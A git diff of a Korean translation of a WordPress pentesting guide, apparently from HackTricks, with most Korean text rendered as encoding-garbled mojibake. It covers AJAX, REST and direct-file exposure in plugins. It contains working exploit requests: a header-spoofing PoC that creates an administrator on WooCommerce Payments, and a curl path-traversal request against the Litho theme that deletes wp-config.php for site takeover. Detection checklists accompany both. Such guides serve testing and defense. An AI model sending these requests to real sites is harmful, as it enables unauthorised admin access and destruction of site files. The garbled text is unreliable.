ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Wordpress ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ์–ด๋–ป๊ฒŒ ๋…ธ์ถœํ•˜๋Š”์ง€ ์•„๋Š” ๊ฒƒ์€ ํ•ด๋‹น ๊ธฐ๋Šฅ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ ํ•ต์‹ฌ์ ์ž…๋‹ˆ๋‹ค. ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ์–ด๋–ป๊ฒŒ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋Š” ๋‹ค์Œ ํ•ญ๋ชฉ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ ์˜ˆ์‹œ๋Š” [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **`wp_ajax`** -ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” AJAX handlers๋ฅผ ํ†ตํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒƒ๋“ค์€ logic, authorization, ๋˜๋Š” authentication ๋ฒ„๊ทธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋“ค์ด ์ธ์ฆ๊ณผ ๊ถŒํ•œ์„ ๋ชจ๋‘ Wordpress nonce์˜ ์กด์žฌ ์—ฌ๋ถ€์— ๊ธฐ๋ฐ˜ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๊ฝค ์ž์ฃผ ์žˆ์œผ๋ฉฐ, ์ด๋Š” **Wordpress ์ธ์Šคํ„ด์Šค์—์„œ ์ธ์ฆ๋œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**(์—ญํ• ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ). +ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋…ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” AJAX ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ†ตํ•ด์„œ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ•ธ๋“ค๋Ÿฌ์—๋Š” ๋กœ์ง, authorization, ๋˜๋Š” authentication ๋ฒ„๊ทธ๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋“ค์ด ์ธ์ฆ๊ณผ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ๋ชจ๋‘ wordpress nonce์˜ ์กด์žฌ์— ๊ธฐ๋ฐ˜ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๊ฝค ์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š”๋ฐ, ์ด nonce๋Š” **Wordpress ์ธ์Šคํ„ด์Šค์— ์ธ์ฆ๋œ ์–ด๋–ค ์‚ฌ์šฉ์ž๋ผ๋„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**(์—ญํ• ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ). ๋‹ค์Œ์€ ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ ํ•จ์ˆ˜๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋“ค์ž…๋‹ˆ๋‹ค: ```php @@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`์˜ ์‚ฌ์šฉ์€ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ชจ๋“  ์‚ฌ์šฉ์ž(์‹ฌ์ง€์–ด ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž)๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.** > [!CAUTION] -> ๋˜ํ•œ, ๋งŒ์•ฝ ํ•จ์ˆ˜๊ฐ€ ๋‹จ์ง€ `wp_verify_nonce` ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ–ˆ๋Š”์ง€๋งŒ ํ™•์ธํ•  ๋ฟ ๋ณดํ†ต ์‚ฌ์šฉ์ž์˜ ์—ญํ• (role)์€ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์ด ๋†’์€ ์ž‘์—…์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> ๋”๊ตฐ๋‹ค๋‚˜, ๋งŒ์•ฝ ํ•จ์ˆ˜๊ฐ€ `wp_verify_nonce` ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž ๊ถŒํ•œ๋งŒ ํ™•์ธํ•œ๋‹ค๋ฉด, ์ด ํ•จ์ˆ˜๋Š” ๋‹จ์ง€ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ–ˆ๋Š”์ง€ ์—ฌ๋ถ€๋งŒ ํ™•์ธํ•  ๋ฟ ๋ณดํ†ต ์‚ฌ์šฉ์ž์˜ ์—ญํ• (role)์€ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์ด ๋†’์€ ์ž‘์—…์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **REST API** -๋˜ํ•œ `register_rest_route` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด wordpress์—์„œ ํ•จ์ˆ˜๋ฅผ REST API๋กœ ๋“ฑ๋กํ•˜์—ฌ ๋…ธ์ถœ์‹œํ‚ค๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค: +๋˜ํ•œ wordpress์—์„œ `register_rest_route` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด REST API๋ฅผ ๋“ฑ๋กํ•˜์—ฌ ํ•จ์ˆ˜๋ฅผ ๋…ธ์ถœ์‹œํ‚ค๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback`์€ ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ API ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•˜๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. +The `permission_callback`๋Š” ์ฃผ์–ด์ง„ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น API ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. -**๋‚ด์žฅ `__return_true` ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ์‚ฌ์šฉ์ž ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋œ๋‹ˆ๋‹ค.** +**๋‚ด์žฅ๋œ `__return_true` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž ๊ถŒํ•œ ํ™•์ธ์„ ๊ฑด๋„ˆ๋œ๋‹ˆ๋‹ค.** -- **php ํŒŒ์ผ์— ๋Œ€ํ•œ ์ง์ ‘ ์ ‘๊ทผ** +- **์ง์ ‘์ ์ธ php ํŒŒ์ผ ์ ‘๊ทผ** -๋ฌผ๋ก , Wordpress๋Š” PHP๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋‚ด๋ถ€์˜ ํŒŒ์ผ์€ ์›น์—์„œ ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ธฐ๋งŒ ํ•ด๋„ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ฌผ๋ก , Wordpress๋Š” php๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋‚ด๋ถ€์˜ ํŒŒ์ผ์€ ์›น์—์„œ ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค๋ฉด ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### Trusted-header REST impersonation (WooCommerce Payments โ‰ค 5.6.1) -์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ โ€œtrusted headerโ€ ๋‹จ์ถ•์„ ๋‚ด๋ถ€ ํ†ตํ•ฉ์ด๋‚˜ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ์šฉ์œผ๋กœ ๊ตฌํ˜„ํ•œ ๋‹ค์Œ, REST ์š”์ฒญ์˜ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ํ•ด๋‹น ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ํ—ค๋”๊ฐ€ ์—…์ŠคํŠธ๋ฆผ ์ปดํฌ๋„ŒํŠธ์— ์˜ํ•ด ์š”์ฒญ๊ณผ ์•”ํ˜ธํ•™์ ์œผ๋กœ ๊ฒฐ์†๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์Šคํ‘ธํ•‘ํ•˜์—ฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ํŠน๊ถŒ REST ๋ผ์šฐํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ๋‚ด๋ถ€ ํ†ตํ•ฉ์ด๋‚˜ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ์šฉ์œผ๋กœ โ€œtrusted headerโ€ ๋‹จ์ถ•์„ ๊ตฌํ˜„ํ•˜๊ณ , ๊ทธ ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ด REST ์š”์ฒญ์˜ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํ—ค๋”๊ฐ€ ์ƒ์œ„ ๊ตฌ์„ฑ์š”์†Œ์— ์˜ํ•ด ์•”ํ˜ธํ•™์ ์œผ๋กœ ์š”์ฒญ์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์Šคํ‘ธํ•‘ํ•˜์—ฌ administrator ๊ถŒํ•œ์œผ๋กœ ์ œํ•œ๋œ REST ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์˜ํ–ฅ: core users REST route๋ฅผ ํ†ตํ•ด ์ƒˆ ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ์ƒ์„ฑํ•˜์—ฌ ์ธ์ฆ ์—†์ด ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน. -- ์˜ˆ์‹œ ํ—ค๋”: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1์„ ๊ฐ•์ œ๋กœ ์ง€์ • โ€” ์ผ๋ฐ˜์ ์œผ๋กœ ์ฒซ ๋ฒˆ์งธ ๊ด€๋ฆฌ์ž ๊ณ„์ •). -- ์•…์šฉ๋œ ๋ผ์šฐํŠธ: `POST /wp-json/wp/v2/users` (๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์—ญํ•  ๋ฐฐ์—ด๊ณผ ํ•จ๊ป˜). +- Impact: core users REST ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ์ƒˆ๋กœ์šด administrator๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ธ์ฆ ์—†์ด admin ๊ถŒํ•œ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (์‚ฌ์šฉ์ž ID 1์„ ๊ฐ•์ œ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ฒซ ๋ฒˆ์งธ administrator ๊ณ„์ •). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -391,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -์™œ ์ž‘๋™ํ•˜๋Š”๊ฐ€ +Why it works -- ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ—ค๋”๋ฅผ ์ธ์ฆ ์ƒํƒœ๋กœ ๋งคํ•‘ํ•˜๊ณ  ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ด๋‹ค. -- WordPress ์ฝ”์–ด๋Š” ์ด ๋ผ์šฐํŠธ์— ๋Œ€ํ•ด `create_users` ๊ถŒํ•œ์„ ๊ธฐ๋Œ€ํ•œ๋‹ค; ํ”Œ๋Ÿฌ๊ทธ์ธ ํ•ดํ‚น์€ ํ—ค๋”์—์„œ ์ง์ ‘ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•ด ์ด๋ฅผ ์šฐํšŒํ•œ๋‹ค. +- ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ—ค๋”๋ฅผ ์ธ์ฆ ์ƒํƒœ์— ๋Œ€์‘์‹œํ‚ค๊ณ  ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋œ๋‹ˆ๋‹ค. +- WordPress ์ฝ”์–ด๋Š” ์ด ๋ผ์šฐํŠธ์— ๋Œ€ํ•ด `create_users` ๊ถŒํ•œ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค; ํ”Œ๋Ÿฌ๊ทธ์ธ ํ•ดํ‚น์€ ํ—ค๋”์—์„œ ์ง์ ‘ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•ด ์ด๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. -์˜ˆ์ƒ ์„ฑ๊ณต ์ง€ํ‘œ +Expected success indicators - ์ƒ์„ฑ๋œ ์‚ฌ์šฉ์ž๋ฅผ ์„ค๋ช…ํ•˜๋Š” JSON ๋ณธ๋ฌธ๊ณผ ํ•จ๊ป˜ HTTP 201. -- `wp-admin/users.php`์— ํ‘œ์‹œ๋˜๋Š” ์ƒˆ๋กœ์šด ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž. +- `wp-admin/users.php`์—์„œ ๋ณด์ด๋Š” ์ƒˆ๋กœ์šด ๊ด€๋ฆฌ์ž ๊ณ„์ •. -ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ +Detection checklist -- `getallheaders()`, `$_SERVER['HTTP_...']` ๋˜๋Š” ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋”๋ฅผ ์ฝ์–ด ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜๋Š” vendor SDKs๋ฅผ grepํ•œ๋‹ค(์˜ˆ: `wp_set_current_user()`, `wp_set_auth_cookie()`). -- ๊ฒฌ๊ณ ํ•œ `permission_callback` ๊ฒ€์‚ฌ๋ฅผ ๊ฐ–์ถ”์ง€ ๋ชปํ•˜๊ณ  ๋Œ€์‹  ์š”์ฒญ ํ—ค๋”์— ์˜์กดํ•˜๋Š” ๊ถŒํ•œ ์žˆ๋Š” ์ฝœ๋ฐฑ์— ๋Œ€ํ•œ REST ๋“ฑ๋ก์„ ๊ฒ€ํ† ํ•œ๋‹ค. -- REST ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์—์„œ ํ—ค๋” ๊ฐ’์œผ๋กœ๋งŒ ์ œํ•œ๋˜๋Š” ํ•ต์‹ฌ ์‚ฌ์šฉ์ž ๊ด€๋ฆฌ ํ•จ์ˆ˜(`wp_insert_user`, `wp_create_user`)์˜ ์‚ฌ์šฉ์„ ์ฐพ์•„๋ผ. +- `getallheaders()`, `$_SERVER['HTTP_...']`, ๋˜๋Š” ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ฝ๋Š” vendor SDKs๋ฅผ grepํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: `wp_set_current_user()`, `wp_set_auth_cookie()`). +- request headers์— ์˜์กดํ•˜๊ณ  ๊ฐ•๋ ฅํ•œ `permission_callback` ๊ฒ€์‚ฌ๊ฐ€ ์—†๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š” ์ฝœ๋ฐฑ์— ๋Œ€ํ•œ REST ๋“ฑ๋ก์„ ๊ฒ€ํ† ํ•ฉ๋‹ˆ๋‹ค. +- ํ—ค๋” ๊ฐ’๋งŒ์œผ๋กœ ๊ฒŒ์ดํŠธ๋œ REST ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์—์„œ ํ•ต์‹ฌ ์‚ฌ์šฉ์ž ๊ด€๋ฆฌ ํ•จ์ˆ˜๋“ค(`wp_insert_user`, `wp_create_user`)์˜ ์‚ฌ์šฉ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. -### wp_ajax_nopriv์„ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ž„์˜์˜ ํŒŒ์ผ ์‚ญ์ œ (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress ํ…Œ๋งˆ์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ข…์ข… `wp_ajax_` ๋ฐ `wp_ajax_nopriv_` ํ›…์„ ํ†ตํ•ด AJAX ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋…ธ์ถœํ•œ๋‹ค. **_nopriv_** ๋ณ€ํ˜•์ด ์‚ฌ์šฉ๋  ๋•Œ **์ฝœ๋ฐฑ์ด ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ฐฉ๋ฌธ์ž์—๊ฒŒ ๋„๋‹ฌ ๊ฐ€๋Šฅํ•ด์ง€๋ฏ€๋กœ**, ๋ชจ๋“  ๋ฏผ๊ฐํ•œ ๋™์ž‘์€ ์ถ”๊ฐ€๋กœ ๋‹ค์Œ์„ ๊ตฌํ˜„ํ•ด์•ผ ํ•œ๋‹ค: +WordPress ํ…Œ๋งˆ์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์ž์ฃผ `wp_ajax_` ๋ฐ `wp_ajax_nopriv_` ํ›…์„ ํ†ตํ•ด AJAX ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. **_nopriv_** ๋ณ€ํ˜•์ด ์‚ฌ์šฉ๋  ๋•Œ **์ฝœ๋ฐฑ์€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ฐฉ๋ฌธ์ž์— ์˜ํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์ง€๋ฏ€๋กœ**, ๋ฏผ๊ฐํ•œ ๋™์ž‘์€ ์ถ”๊ฐ€๋กœ ๋‹ค์Œ์„ ๊ตฌํ˜„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: -1. **๊ถŒํ•œ ํ™•์ธ**(์˜ˆ: `current_user_can()` ๋˜๋Š” ์ตœ์†Œํ•œ `is_user_logged_in()`), ๊ทธ๋ฆฌ๊ณ  -2. `check_ajax_referer()` / `wp_verify_nonce()`๋กœ ๊ฒ€์ฆ๋˜๋Š” **CSRF nonce**, ๊ทธ๋ฆฌ๊ณ  -3. **์—„๊ฒฉํ•œ ์ž…๋ ฅ ์ •์ œ / ๊ฒ€์ฆ**. +1. **๊ถŒํ•œ ๊ฒ€์‚ฌ** (์˜ˆ: `current_user_can()` ๋˜๋Š” ์ ์–ด๋„ `is_user_logged_in()`), ๋ฐ +2. `check_ajax_referer()` / `wp_verify_nonce()`๋กœ ๊ฒ€์ฆ๋œ **CSRF nonce**, ๋ฐ +3. ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•œ ์—„๊ฒฉํ•œ ์ •์ œ/๊ฒ€์ฆ. -Litho ๋ฉ€ํ‹ฐํผํฌ์ฆˆ ํ…Œ๋งˆ (< 3.1)๋Š” *Remove Font Family* ๊ธฐ๋Šฅ์—์„œ ์ด ์„ธ ๊ฐ€์ง€ ์ œ์–ด๋ฅผ ๋ˆ„๋ฝํ–ˆ๊ณ , ๊ฒฐ๊ตญ ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜์—ฌ ๋ฐฐํฌ๋˜์—ˆ๋‹ค(๋‹จ์ˆœํ™”๋จ): +Litho multipurpose theme (< 3.1)๋Š” *Remove Font Family* ๊ธฐ๋Šฅ์—์„œ ์ด 3๊ฐ€์ง€ ์ œ์–ด๋ฅผ ๋ˆ„๋ฝํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ(๋‹จ์ˆœํ™”๋จ)๋ฅผ ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,15 +434,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -์ด ์Šค๋‹ˆํŽซ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ: +์ด ์Šค๋‹ˆํŽซ์œผ๋กœ ์ธํ•œ ๋ฌธ์ œ: -* **Unauthenticated access** โ€“ `wp_ajax_nopriv_` ํ›…์ด ๋“ฑ๋ก๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +* **Unauthenticated access** โ€“ the `wp_ajax_nopriv_` hook is registered. * **No nonce / capability check** โ€“ ๋ชจ๋“  ๋ฐฉ๋ฌธ์ž๊ฐ€ ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* **No path sanitisation** โ€“ ์‚ฌ์šฉ์ž ์ œ์–ด `fontfamily` ๋ฌธ์ž์—ด์ด ํ•„ํ„ฐ๋ง ์—†์ด ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฒฝ๋กœ์— ์ด์–ด๋ถ™์—ฌ์ ธ ์ „ํ˜•์ ์ธ `../../` traversal์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. +* **No path sanitisation** โ€“ ์‚ฌ์šฉ์ž ์ œ์–ด `fontfamily` ๋ฌธ์ž์—ด์ด ํ•„ํ„ฐ๋ง ์—†์ด ํŒŒ์ผ์‹œ์Šคํ…œ ๊ฒฝ๋กœ์— ์—ฐ๊ฒฐ๋˜์–ด ํด๋ž˜์‹ `../../` ๊ฒฝ๋กœ ์ดํƒˆ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. -#### ์•…์šฉ +#### Exploitation -๊ณต๊ฒฉ์ž๋Š” ๋‹จ ํ•œ ๋ฒˆ์˜ HTTP POST ์š”์ฒญ์œผ๋กœ **uploads base directory ์•„๋ž˜**(๋ณดํ†ต `/wp-content/uploads/`)์˜ ์ž„์˜ ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ผ HTTP POST ์š”์ฒญ์„ ์ „์†กํ•จ์œผ๋กœ์จ **uploads ๊ธฐ๋ณธ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•„๋ž˜** (๋ณดํ†ต `/wp-content/uploads/`)์˜ ์–ด๋–ค ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋“  ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ ``` Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. +๋‹ค๋ฅธ ์˜ํ–ฅ๋ ฅ ์žˆ๋Š” ๋Œ€์ƒ์—๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ/ํ…Œ๋งˆ์˜ `.php` ํŒŒ์ผ(๋ณด์•ˆ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋ฌด๋ ฅํ™”ํ•˜๊ธฐ ์œ„ํ•ด) ๋˜๋Š” `.htaccess` ๊ทœ์น™์ด ์žˆ๋‹ค. -#### ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ +#### ๊ฐ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ -* ํŒŒ์ผ ์‹œ์Šคํ…œ ํ—ฌํผ(`copy()`, `unlink()`, `$wp_filesystem->delete()` ๋“ฑ)๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ชจ๋“  `add_action( 'wp_ajax_nopriv_...')` ์ฝœ๋ฐฑ. -* ๊ฒฝ๋กœ์— ๋น„๊ฒ€์ฆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ด์–ด๋ถ™์ด๋Š” ๊ฒฝ์šฐ(`$_POST`, `$_GET`, `$_REQUEST`๋ฅผ ํ™•์ธ). -* `check_ajax_referer()` ๋ฐ `current_user_can()`/`is_user_logged_in()`์˜ ๋ถ€์žฌ. +* Any 